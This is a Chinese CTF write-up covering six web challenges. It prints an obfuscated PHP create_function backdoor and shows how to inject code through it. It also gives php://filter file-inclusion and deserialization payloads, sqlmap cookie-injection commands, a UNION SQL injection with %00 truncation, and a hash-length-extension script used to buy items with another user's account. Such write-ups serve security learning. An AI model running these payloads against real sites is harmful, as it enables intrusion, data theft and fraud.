前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Raccoon web Writeup

Raccoon web Writeup

作者头像
wywwzjj
发布2023-05-09 14:31:48
3180
发布2023-05-09 14:31:48
举报

PHP 后门分析

李大猫在他的 WordPress 博客里发现了被黑客植入的 PHP 后门,快帮他分析分析这个后门要怎么利用吧

代码语言:javascript
复制
<?php 
    $z0 = $_REQUEST['sort'];
    $q1 = '';
    $c2 = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";
    $y3 = array(8,38,15,7,6,4,26,25,7,34,24,25,7);
    foreach($y3 as $h4){
    	$q1.=$c2[$h4];  // q1 = base64_decode
    }
    $v5 = strrev("noi"."tcnuf"."_eta"."erc");  // create_function
    $j6 = $v5("",$q1($z0));  // j6 = create_function("",base64_decode(sort))
    $j6();	// j6() 是一个没有参数的匿名函数,
?>

create_function()eval() 有同样的危险性,可以注入恶意代码。

代码语言:javascript
复制
function fT($a) {
  echo "test".$a;
}

// 注入 $a = }phpinfo();/* 后:
function fT($a) {
  echo "test";}
  phpinfo();/*
}*/

create_function(args, code)  // The function arguments. The function code.
$j6() => function(args) {
    code
}

此题只需将 }phpinfo();/* 进行 base64 编码,再传进去就 OK 了

1541723641637.png
1541723641637.png

抓包和改包

满足以下全部条件就能获得 flag

  • 将 HTTP 请求方式修改为 POST
  • 添加 HTTP 请求头“X-Give-Me-Flag”,值为 1
  • 将包含浏览器标识的 HTTP 请求头的值修改为“Flag Browser 1.0”
  • 将 Cookie 中“auth”的值修改为 117.29.42.247
  • POST 键名为“action”,值为“readflag”的数据

这题比较简单,直接用 Burp 改一下就 OK 了

代码语言:javascript
复制
POST / HTTP/1.1
Host: http01.web.raccoon.ml:8080
User-Agent: Flag Browser 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: auth=117.29.42.247
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Give-Me-Flag: 1
Content-Length: 15
Content-Type: application/x-www-form-urlencoded

action=readflag

Javascript Tricks

nc 45.32.250.222 8082

代码语言:javascript
复制
var net = require('net');

flag='fake_flag';

var server = net.createServer(
    function(socket) {
    	socket.on('data', (data) => { 
    		//m = data.toString().replace(/[\n\r]*$/, '');
    		ok = true;
    		arr = data.toString().split(' ');  // 空格作为分隔,创建数组
    		arr = arr.map(Number);	// 全部转为数字
    		if (arr.length != 5)    // arr长度为5
    			ok = false;
    		arr1 = arr.slice(0);    // 抽取从0开始的所有字符(就是复制arr给arr1)
    		arr1.sort();  			
    		// js sort比较特殊  10,5,40,25,1000,1 -> 1,10,1000,25,40,5
    		for (var i=0; i<4; i++)  // 前后元素不能相同
    			if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127)
    				ok = false;
    		arr2 = []
    		for (var i=0; i<4; i++)
    			arr2.push(arr1[i] + arr1[i+1]);
    		val = 0;
    		for (var i=0; i<4; i++)
    			val = val * 0x100 + arr2[i];  // 0x100 = 256
    		if (val != 0x23332333)  // 590553907
    			ok = false;
    		if (ok)
    			socket.write(flag+'\n');
    		else
    			socket.write('nope\n');
    	});
    	//socket.write('Echo server\r\n');
    	//socket.pipe(socket);
    }
);

HOST = '0.0.0.0'
PORT = 8082

server.listen(PORT, HOST);

初步思路:把 data 暴力跑出来,再 nc 提交一下

代码语言:javascript
复制
def check(a,b,c,d):
    arr = [a,b,c,d]
    val = 0
    for i in range(4):
        val = val * 256 + arr[i]
    if val == 590553907:  # 也可以不转十进制
        return True

N = 60
for i in range(N):
    for j in range(N):
        for k in range(N):
            for l in range(N):
                if check(i,j,k,l):
                    print(i,j,k,l)

# arr2 = [35 51 35 51]

N = 51
for i in range(N):
    for j in range(N):
        for k in range(N):
            for l in range(N):
                for m in range(N):
                    if i+j == 35 and j+k == 52 and k+l == 35 and l+m == 51:
                        print(i,j,k,l,m)
                        
"""
0 35 17 18 33
1 34 18 17 34
2 33 19 16 35
3 32 20 15 36
4 31 21 14 37
5 30 22 13 38
6 29 23 12 39
7 28 24 11 40
8 27 25 10 41
9 26 26 9 42
10 25 27 8 43
11 24 28 7 44
12 23 29 6 45
13 22 30 5 46
14 21 31 4 47
15 20 32 3 48
16 19 33 2 49
17 18 34 1 50
18 17 35 0 51
"""

# 数据不多,直接按照 js 的 sort 规则手工挑选一下 
# 可得最终的 data:15 20 32 3 48

The user admin

代码语言:javascript
复制
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

这道题涉及到PHP的代码审计,PHP的伪协议,PHP的序列化,PHP魔术方法,涨了不少姿势,

趁着写 Writeup 把思路再梳理一下。参考博客1 参考博客2

乍一看,玄机只可能在 class.php 里面,现在就是寻找满足 if 的这个条件。

代码语言:javascript
复制
file_get_contents(path,include_path,context,start,max_length)
// 把整个文件读入一个字符串中,后四个参数都是可选项

问题变为,怎么读取 $user 之后得到 “the user is admin”。

这里涉及到一个 PHP伪协议,php://input,可读取没有处理过的 POST 数据。详细讲解 大佬讲解

代码语言:javascript
复制
http://120.78.187.100:8081/?user=php://input
# 再 post 一个 "the user is admin"
# 此时可以发现界面变成了 "hello admin!"
http://120.78.187.100:8081/?user=php://input&file=class.php

然后还是没卵用??

还有个文件包含漏洞,再来了一个 PHP伪协议,php://filter,可用来读取base64编码后的源代码。

代码语言:javascript
复制
?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

解码之后,得到 class.php 的源代码

代码语言:javascript
复制
<?php
    class Read {//f1a9.php
    	public $file;
    	public function __toString() {
        	if(isset($this->file)) {
            	echo file_get_contents($this->file);    
        	}
       	 return "__toString was called!";
    	}
    }
?>
// 注意到有个魔术方法 __tostring(),echo $obj 时会自动执行的一个函数

看一下 index.php 源代码

代码语言:javascript
复制
<?php
    $user = $_GET["user"];
    $file = $_GET["file"];
    $pass = $_GET["pass"];

    if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
        echo "hello admin!<br>";
        if(preg_match("/f1a9/",$file)){  // 直接过滤掉 fla9
            exit();
        }else{
            include($file); //class.php
            $pass = unserialize($pass);  // 反序列化再输出
            echo $pass;
        }
    }else{
        echo "you are not admin ! ";
    }
?>
// unserialize()

总结一下思路,flag 就隐藏在 f1a9.php 里面,但是无法直接读取 f1a9.php 内容(被preg_match过滤),只能通过Read 这个类中 __tostring() 方法里的 file_get_sontents()。能作为输入接口的就只有 pass 了,pass 这里又会反序列化再输出,所以利用 echo $pass; 来创建对象就可以了。

创建序列化对象

代码语言:javascript
复制
<?php
    class Read{
    	public $file;
    }

    $a = new Read();
    $a->file = "f1a9.php";
    $a = serialize($a);
    print_r($a);
?>
// O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

最终执行

代码语言:javascript
复制
http://120.78.187.100:8081/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

# 再 post 一个 "the user is admin"

Easy waf

随手扫一下后台,得到了一个 www.zip 的源码包,然后就是代码审计了。

第一想法是 usernamepassword 可以注入,毕竟过滤函数不会对他们进行处理。

代码语言:javascript
复制
foreach ($_POST as $key => $value) {
    if ($key != "username"&&strstr($key, "password") == false) {
        $_POST[$key] = filtering($value);
    }
}

后来发现 uesr_id 可以注入,最终在 login.php 中找到 user_id 的来源,就是数据库中的键。

代码语言:javascript
复制
// index.php
<h2>历史留言</h2>
<?php
    $user_id=$_SESSION['user_id'];
    $sql = "select * from content where user_id=$user_id";
    $arr = select($sql);
?>
    
// login.php
$_SESSION['username'] = $a['username'];  // 在这里
$_SESSION['user_id'] = $a['id'];		 // 手动高亮

GET、POST都被直接过滤了,试试 cookie 注入,手工注入不太会,先跑跑 sqlmap 试试。参考博客

代码语言:javascript
复制
# 1.cookie 注入,猜解表
sqlmap -u http://120.78.187.100:8082/content.php --cookie "message_id=1412" --table --level 2
# do you want to URL encode cookie values (implementation specific)? [Y/n] Y
[10:42:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP 5.6.38, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
# do you want to use common table existence check? [Y/n/q] Y 10
# 表已经跑出来了
Database: 2018_hdb_waf 
[3 tables]
+---------------------------------------+
| user                                  |
| content                               |
| flag                                  |
+---------------------------------------+

# 2.选择表猜解字段(flag)
sqlmap -u http://120.78.187.100:8082/content.php --cookie "message_id=1412" --column -T flag --level 2
Table: flag
[1 column]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(255) |
+--------+--------------+

# 3.猜解内容
sqlmap -u http://120.78.187.100:8082/content.php --cookie "message_id=1412" --dump -T flag --level 2
[10:44:45] [INFO] retrieved: 1
[10:44:45] [INFO] retrieved: flag{b4d_eregi_d0_noT_uSe_1t}
Database: 2018_hdb_waf
Table: flag
[1 entry]
+-------------------------------+
| flag                          |
+-------------------------------+
| flag{b4d_eregi_d0_xxx_xxx} 	|
+-------------------------------+

黑盾杯有个稍微不一样的版本,不过核心还是 eregi 截断。

代码语言:javascript
复制
<?php
include './global.php';
extract($_REQUEST);

$sql = "select * from test.content where id=$message_id";

payload

代码语言:javascript
复制
POST /web/waf/content.php HTTP/1.1
Host: 192.168.200.200
Connection: close
Content-Type: multipart/form-data; boundary=--------2049511993
Content-Length: 138

----------2049511993
Content-Disposition: form-data; name="message_id"

"%00" union select 1,2,flag,4 from flag
----------2049511993--

这其实还有个小知识点,已经进入潜意识了,$_REQUEST 数组默认并不包含 COOKIE,只有 GP。

咕咕 shop

听说 咕咕shop 上有个积分上万的人,你能越权消耗他的积分,购买到 FLAG 吗?

HTTP参数污染,简单地讲就是给一个参数赋上两个或两个以上的值。现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理。因此web程序组件在遇到这类问题时采取的方法也不完全相同。在一个HTTP请求中,同一个参数,拥有多个值是合法的。利用此特性,可以作为绕过参数过滤的手段。

假设 URL:http://www.xxxx.com/search.php?id=110&id=911

百度会理解成让百度搜索:110 #选择了第一个参数,放弃了第二个参数。

雅虎会理解成让雅虎搜索:911   #选择了第二个参数,放弃了第一个参数。

谷歌会理解成让谷歌搜索:110 911 #两个参数同时选择。

假设输入 ?key=select & key=1,2,3,4 from table

服务端有可能会将key处理为select 1,2,3,4 from table,从而导致SQL注入。

1542278011170.png
1542278011170.png
image.png
image.png

信息收集:

泄露在源码中的注释是解题和渗透的关键,从此处可得到 signature 的原文组成:solt + confirmation()

代码语言:javascript
复制
<script>
    $(document).ready(()=>{
        t = $('input[name=order_create_time]')
        t.data('t', t.val())
        t.val(moment(1000*t.val()).utcOffset(8).format('lll'))
        f = $('#confirmation')
        b = f.children().last()
        if($('[name=buyer_point]').val()-$('[name=good_price]').val() < 0){
            $('[name=good_price]').addClass('text-danger')
            b.text('余额不足,请先充值')
            return ;
        }
        /* 客户端生成签名不安全,更换新的长密钥并且由服务端下发签名 2017.8.9
        secure_key = R\xe7\x85`]\xb1\x80\xe6\x9bo\x19y\xc5\x88CR\7f\xb......'
        confirmation_data = f.serialize()
        signature = md5(`${secure_key}${confirmation_data}`)
        f.attr('action', f.attr('action') + `?signature=${signature}`)
        */
        b.removeAttr('disabled')
    })
    $('#submit').click(function(){
        t.val(t.data('t'))
    })
</script>

这里还有一个小知识点,form 被 js 中的序列化成字符串,如

1542443290094.png
1542443290094.png

(这种 js 可直接通过 F12 中的终端来运行)

1542443452913.png
1542443452913.png

关键点:

1.利用哈希长度扩展攻击跑出密钥长度

2.利用 HPP 实现越权“购买”

==shell版==:第一想法是先生成字典,然后放到bp里跑,结果失败了

代码语言:javascript
复制
#!/bin/bash

signature="422f15413110908ab58d837ae3b2f28f"
data="order_id=156&buyer_id=39&good_id=25&buyer_point=510&good_price=10&order_create_time=1542048947.212575"
key_len=900  # yizhimiyao
add_data="&a"

for ((len=0; i<350; i++,key_len++))
do
    hashpump -s $signature -d $data -k $key_len -a $add_data
done
代码语言:javascript
复制
#!/bin/bash
bash _shell > len.txt
awk 'NR%2==0' len.txt > post.txt  # 输出偶数行
awk 'NR%2==1' len.txt > sign.txt  # 输出奇数行

==py版==:还是py给力,以后全用py吧

如果 solt 长度正确时,post 中添加一个无关的值,仍然不会影响购买,由此可得出密钥长度。

代码语言:javascript
复制
import hashpumpy
import urllib
import requests
import json

for i in range(500):
    signature = '579e444c268e0d907802313318cdfcb2'
    original = 'order_id=160&buyer_id=39&good_id=25&buyer_point=500&good_price=10&order_create_time=1542226400.115264'
    add_data = '&a=233'
    key_length = len(original) + 700 + i

    hash = hashpumpy.hashpump(signature,original,add_data,key_length)

    url = 'http://118.89.198.146:50006/paymentGatewayV2/cid-1145141919/810893/check.jsp?signature='
    
    # message = urllib.quote(urllib.unquote(hash[1]))  不需要编码为URL
    message = hash[1]
    print i,hash[0]
        
    url += hash[0]
    
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
    	'cookie': 'csrftoken=9wFi4GbKQdcis91qJP28DEmZZerQXdqBWt53kHmwUNp1iEFVnEVEVFmYuX5eBKUG; JSESSIONID=buakhmracrlqcyxt726ui8u5jymu0ov4',
    	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
    	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    	'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    	'Accept-Encoding': 'gzip, deflate'
    }

    #res = requests.post(url=url,headers=headers,data=message,proxies={'http': '127.0.0.1:8080'})
    res = requests.post(url=url,headers=headers,data=message)

    if 'alert alert-dange' not in res.content:
       print key_length;
       break
1542281973455.png
1542281973455.png

得到长度后,就是参数污染了。

直接添加good_id=42失败了,换了不少姿势。

突然想到题面的信息:有个积分上万的人,你能越权消耗他的积分,购买到 FLAG 吗?

==划重点== 用别人的钱买flag ==划重点==

然后就是换buyer_id,第一反应是 0、1 ? 不,没用,直接挂个脚本尝试下。31,购买成功!

期间遇到的麻烦:页面找不到。最初以为是自己误删了某个信息,重新复制一下仍然报错。

如果请求成功,但是请求的内容不存在,自然会报错,就比如说利用 buyer_id = 666 来买 flag,也会报错。报错的话就改参数就好。

代码语言:javascript
复制
import hashpumpy
import urllib
import requests

signature = '7d542ad0766a6459e6048ed854091987'
original = 'order_id=162&buyer_id=39&good_id=33&buyer_point=480&good_price=300&order_create_time=1542231522.790944'
#add_data = '&good_id=42'
#add_data = '&buyer_id=0'
#add_data = '&buyer_id=1&good_id=42'
#add_data = '&good_id=42&good_id=42'
#add_data = '&good_id=42&buyer_point=999'
#add_data = '&good_id=42&buyer_point=999&good_price=998'
#add_data = '&buyer_point=999&good_id=42&good_price=998'
key_length = 1024
headers={
        'Content-Type': 'application/x-www-form-urlencoded',
        'cookie': 'csrftoken=9wFi4GbKQdcis91qJP28DEmZZerQXdqBWt53kHmwUNp1iEFVnEVEVFmYuX5eBKUG; JSESSIONID=buakhmracrlqcyxt726ui8u5jymu0ov4',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding': 'gzip, deflate'
}
    
i = 31
add_data = '&good_id=42&buyer_id=' + str(i)
# i = 31 who have money to buy flag
hash = hashpumpy.hashpump(signature,original,add_data,key_length)
url = 'http://118.89.198.146:50006/paymentGatewayV2/cid-1145141919/810893/check.jsp?signature=' + hash[0]
# message = urllib.quote(urllib.unquote(hash[1]))
message = hash[1]

# proxy={'http': '127.0.0.1:8080'}  为requests请求设置代理
# 如果不确定 requests 发的具体数据,用bp抓包看看

#res = requests.post(url=url,headers=headers,data=message,proxies=proxy)
res = requests.post(url=url,headers=headers,data=message)

print res.content
if 'alert alert-success' in res.content:
    print "-------------------------Success!------------------------"
1542281916199.png
1542281916199.png

到此,flag 已经买到了。当时候还没反应过来,想着再买一次,去看一下订单,flag 已经出来了。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018/10/23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PHP 后门分析
  • 抓包和改包
  • Javascript Tricks
  • The user admin
  • Easy waf
  • 咕咕 shop
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档